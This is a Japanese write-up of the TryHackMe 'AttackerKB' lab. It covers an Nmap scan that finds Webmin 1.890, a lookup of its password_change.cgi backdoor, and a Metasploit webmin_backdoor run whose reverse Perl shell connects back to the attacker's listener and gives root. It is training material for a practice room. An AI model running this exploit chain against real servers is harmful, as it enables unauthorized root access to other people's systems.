はじめに
本記事はTryHackMeのWriteupです。
RoomはAttackerKBで、Difficulty(難易度)はEasyです。
AttackerKBは一般的なハッキングフローの流れに沿って、偵察行為を皮切りに発見したコンテンツから脆弱性を特定します。
脆弱性を特定するためには、AttackerKBの情報を駆使する必要があります。
最後は特定した脆弱性を基に、Metasploitを使用してフラグをゲットします。
このRoomでは、Webサイトから必要な情報を入手して攻撃手法を確立するなど戦略的な思考について学ぶことができます。
I'm attacking what now?でマシンデプロイ後、以降のTaskについて解説していきます。
Discovering the Lay of the Land
はじめに偵察行為から行います。
偵察行為については以前書いたContent Discovery Webアプリケーションに対する偵察行為を参照。
ポートスキャン
空いているポートを特定するためにはNmapを使用します。
ここでは事前に用意したシェルを介してポートスキャンを実行しています。
$ ./port_scan.sh <対象ホストのIPアドレス>
##################
# Port scan tool #
##################
*Detailed scan :1
*Full scan :2
***Select scanning method by number***
1
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-09 23:47 JST
Nmap scan report for 10.10.216.193
Host is up (0.29s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b74cd0bde27b1b15722764562915ea23 (RSA)
| 256 b78523114f44fa22008e40775ecf287c (ECDSA)
|_ 256 a9fe4b82bf893459365becdac2d395ce (ED25519)
1879/tcp closed nettgain-nms
10000/tcp open http MiniServ 1.890 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
|_http-trane-info: Problem with XML parsing of /evox/about
40232/tcp closed unknown
40322/tcp closed unknown
42021/tcp closed unknown
54901/tcp closed unknown
58200/tcp closed unknown
60562/tcp closed unknown
61428/tcp closed unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.34 seconds
Scan completed
ポートスキャンの結果からWebminを用いたWebサーバの稼働が確認できます。
上記検出結果を使用してこのタスクは解決できます。
Learning to Fly
タスクの説明にも書いている通りに、AttackerKBはExploit-DBのように活用できます。
脆弱性の調査
タスクの指示に従って、画面右上の検索ボックスから「Webmin」を検索します。
検索結果から「password_change.cgi」を押します。
ポートスキャンの結果を踏まえて、投稿された情報を参考にしながら、エクスプロイトなどタスクに必要な情報が入手できます。
Blasting Away
発見した脆弱性を基に、Metasploitを用いてエクスプロイトを実行します。
Metasploitについては以前書いた脆弱性とエクスプロイトについて理解するを参照。
Metasploit
msfconsole起動後、Webminのエクスプロイトを検索します。
$ msf6 > search Webmin 1.890
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/http/webmin_backdoor 2019-08-10 excellent Yes Webmin password_change.cgi Backdoor
Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/http/webmin_backdoor
モジュール(エクスプロイト)をロードして必要な設定を行います。
$ msf6 > use 0
httpsで接続するためには、以下のオプションを設定します。
$ set ssl true
[!] Changing the SSL option's value may require changing RPORT!
ssl => true
show options
を実行すると、SSL
がtrue
に設定されていることが確認できます。
Module options (exploit/linux/http/webmin_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 10000 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to list
en on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path to Webmin
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
あとは必要な情報を設定してモジュール(エクスプロイト)を実行します。
msf6 exploit(linux/http/webmin_backdoor) > exploit
[*] Started reverse TCP handler on <LHOST IP address>:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (<LHOST IP address>:4444 -> 10.10.216.193:48746) at 2023-03-10 00:12:01 +0900
id
uid=0(root) gid=0(root) groups=0(root)
find / -name user.txt 2> /dev/null
/home/dark/user.txt
上記出力結果の通りにCommand shell session 1 opened
のメッセージ出力後、ターゲットに接続できているため、そのままシェルを実行することができます。
おわりに
以上、AttackerKBのWriteupでした。
AttackerKBはセキュリティに関わるペンテスター、防御者、研究者、コンサルタントなどセキュリティコミュニティが情報を共有することで、エコシステムとして成り立っています。
本記事で使用しているポートスキャンツールは、Cyber-Securityで公開しています。